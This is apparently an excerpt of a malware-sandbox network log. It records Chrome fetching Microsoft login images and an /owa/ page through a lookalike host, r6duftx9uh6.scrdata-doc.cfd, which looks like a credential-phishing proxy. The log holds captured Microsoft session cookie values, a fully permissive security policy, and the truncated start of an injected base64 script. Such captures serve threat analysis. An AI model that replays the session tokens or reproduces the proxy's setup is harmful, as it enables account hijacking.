Accept-Ranges: bytes
2024-04-26 11:21:37 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 11:21:37 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49759	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:37 UTC	1719	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:38 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:38 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 77152afa-e01e-0068-3dcb-97ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112138Z-17859dc676b6dmfqzsff11v9sc000000044000000000pwxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 11:21:38 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49758	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:38 UTC	1713	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:39 UTC	743	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:38 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 84de22bb-c01e-0012-6ecb-9703b8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112138Z-16f6b7d46546f2655wv1mc43mn0000000b20000000006248 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 11:21:39 UTC	15641	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-26 11:21:39 UTC	1812	IN	Data Raw: 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 Data Ascii: @PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49765	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:45 UTC	1916	OUT	GET /owa/ HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:46 UTC	1334	IN	HTTP/1.1 200 OK Content-Type: text/html P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" CorrelationVector: SQiXMbPPHUWdNltz.1.0 Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Credentials: true x-sitemuse-origin: Azure x-azure-ref: 20240426T112145Z-15c64ffbf6fpq2jr7nma2nz1an00000004kg000000001mqe Expires: Fri, 26 Apr 2024 11:21:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 26 Apr 2024 11:21:45 GMT Transfer-Encoding: chunked Connection: close, Transfer-Encoding Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:46 UTC	15050	IN	Data Raw: 36 35 63 65 35 0d 0a ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6d 73 63 6f 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 43 4d 53 76 4e 65 78 74 22 20 78 6d 6c 6e 73 3a 6d 64 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 6d 73 63 6f 6d 2d 64 61 74 61 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 Data Ascii: 65ce5<!DOCTYPE html ><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext" xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKC
2024-04-26 11:21:46 UTC	16384	IN	Data Raw: 3a 37 2c 26 71 75 6f 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 7d 22 3e 3c 61 20 69 64 3d 22 73 68 65 6c 6c 6d 65 6e 75 5f 31 31 22 20 63 6c 61 73 73 3d 22 6a 73 2d 73 75 62 6d 2d 75 68 66 2d 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 65 6e 2d 75 73 2f 73 74 6f 72 65 2f 62 2f 73 61 6c 65 3f 69 63 69 64 3d 67 6d 5f 6e 61 76 5f 4c 30 5f 73 61 6c 65 70 61 67 65 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 57 30 4e 61 76 5f 44 65 61 6c 73 5f 6e 61 76 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 31 63 37 63 32 63 31 63 Data Ascii: :7,"aN":"c2c1c8c2m1r1a1"}"><a id="shellmenu_11" class="js-subm-uhf-nav-link" href="https://www.microsoft.com/en-us/store/b/sale?icid=gm_nav_L0_salepage" data-m="{"cN":"W0Nav_Deals_nav","id":"n1c7c2c1c
2024-04-26 11:21:46 UTC	16384	IN	Data Raw: 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 31 63 33 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 73 4e 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 33 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 7d 22 3e 4d 69 63 72 6f 73 6f 66 74 20 43 6c 6f 75 64 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6a 73 2d 6e 61 76 2d 6d 65 6e 75 20 73 69 6e 67 6c 65 2d 6c 69 6e 6b 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 4d 6f 72 65 5f 42 75 73 69 6e 65 73 73 5f 4d 69 63 72 6f 73 6f 66 74 20 53 65 63 75 72 69 74 79 5f 63 6f 6e 74 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 54 Data Ascii: uot;id":"n1c3c13c2c1c8c2m1r1a1","sN":1,"aN":"c3c13c2c1c8c2m1r1a1"}">Microsoft Cloud</a></li><li class="js-nav-menu single-link" data-m="{"cN":"More_Business_Microsoft Security_cont","cT
2024-04-26 11:21:46 UTC	16384	IN	Data Raw: 6d 2f 65 6e 2d 75 73 2f 43 4d 53 49 6d 61 67 65 73 2f 50 72 69 6e 74 2d 6e 65 77 2d 32 2e 70 6e 67 3f 76 65 72 73 69 6f 6e 3d 34 65 61 66 63 65 31 31 2d 61 33 64 66 2d 65 39 37 31 2d 66 34 38 31 2d 66 65 64 37 36 34 32 38 66 66 61 31 22 20 63 6c 61 73 73 3d 22 6d 73 63 6f 6d 2d 69 6d 61 67 65 22 20 61 6c 74 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 74 69 74 6c 65 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 2f 3e 3c 2f 61 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 69 6e 74 22 20 63 6c 61 73 73 3d 22 6d 2d 6c 2d 6d 64 22 20 69 64 3d 22 70 73 70 5f 70 72 69 6e 74 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 22 3e 50 72 69 6e 74 3c 2f 61 3e 3c 21 2d 2d 6e 65 77 20 Data Ascii: m/en-us/CMSImages/Print-new-2.png?version=4eafce11-a3df-e971-f481-fed76428ffa1" class="mscom-image" alt="print-icon" title="print-icon" width="16" height="16" /></a><a title="Print" class="m-l-md" id="psp_print" href="javascript:void(0)">Print</a>...new
2024-04-26 11:21:47 UTC	16384	IN	Data Raw: 63 61 6e 20 61 6c 73 6f 20 62 65 20 69 6e 66 65 72 72 65 64 20 66 72 6f 6d 20 61 20 64 65 76 69 63 65 e2 80 99 73 20 49 50 20 61 64 64 72 65 73 73 20 6f 72 20 64 61 74 61 20 69 6e 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 70 72 6f 66 69 6c 65 20 74 68 61 74 20 69 6e 64 69 63 61 74 65 73 20 77 68 65 72 65 20 69 74 20 69 73 20 6c 6f 63 61 74 65 64 20 77 69 74 68 20 6c 65 73 73 20 70 72 65 63 69 73 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 61 74 20 61 20 63 69 74 79 20 6f 72 20 70 6f 73 74 61 6c 20 63 6f 64 65 20 6c 65 76 65 6c 2e 0d 0a 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 4f 74 68 65 72 20 69 6e 70 75 74 3c 2f 73 74 72 6f 6e 67 3e 2e 20 4f 74 68 65 72 20 69 6e 70 75 74 73 20 70 72 6f 76 69 64 65 64 20 77 68 65 6e 20 79 6f 75 20 75 73 65 20 Data Ascii: can also be inferred from a devices IP address or data in your account profile that indicates where it is located with less precision, such as at a city or postal code level. </li><li><strong>Other input</strong>. Other inputs provided when you use
2024-04-26 11:21:47 UTC	16384	IN	Data Raw: 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 64 65 6c 69 76 65 72 20 67 6f 6f 64 73 20 70 75 72 63 68 61 73 65 64 20 66 72 6f 6d 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6f 72 65 2e 0d 0a 20 20 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 52 65 70 6f 72 74 69 6e 67 20 61 6e 64 20 62 75 73 69 6e 65 73 73 20 6f 70 65 72 61 74 69 6f 6e 73 3c 2f 73 74 72 6f 6e 67 3e 2e 20 57 65 20 75 73 65 20 64 61 74 61 20 74 6f 20 61 6e 61 6c 79 7a 65 20 6f 75 72 20 6f 70 65 72 61 74 69 6f 6e 73 20 61 6e 64 20 70 65 72 66 6f 72 6d 20 62 75 73 69 6e 65 73 73 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 2e 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 75 73 20 74 6f 20 6d 61 6b 65 20 69 6e 66 6f 72 6d 65 64 20 64 65 63 69 73 69 6f 6e 73 20 61 6e 64 20 72 65 70 6f 72 Data Ascii: nformation to deliver goods purchased from the Microsoft Store. </li><li><strong>Reporting and business operations</strong>. We use data to analyze our operations and perform business intelligence. This enables us to make informed decisions and repor
2024-04-26 11:21:47 UTC	16384	IN	Data Raw: 64 61 74 61 2c 20 69 6e 63 6c 75 64 69 6e 67 20 62 69 6c 6c 69 6e 67 20 61 6e 64 20 61 63 63 6f 75 6e 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 70 72 69 76 61 63 79 20 73 65 74 74 69 6e 67 73 2c 20 61 6e 64 20 6f 6e 6c 69 6e 65 20 73 61 66 65 74 79 20 61 6e 64 20 64 61 74 61 20 73 68 61 72 69 6e 67 20 70 72 65 66 65 72 65 6e 63 65 73 20 62 79 20 61 63 63 65 73 73 69 6e 67 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 6d 73 63 6f 6d 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 76 65 2e 78 62 6f 78 2e 63 6f 6d 2f 4d 79 58 62 6f 78 2f 50 72 6f 66 69 6c 65 22 3e 4d 79 20 58 62 6f 78 3c 2f 61 3e 20 6f 6e 20 74 68 65 20 58 62 6f 78 20 63 6f 6e 73 6f 6c 65 20 6f 72 20 6f 6e 20 74 68 65 20 58 62 6f 78 Data Ascii: data, including billing and account information, privacy settings, and online safety and data sharing preferences by accessing <a target="_blank" class="mscom-link" href="https://live.xbox.com/MyXbox/Profile">My Xbox</a> on the Xbox console or on the Xbox
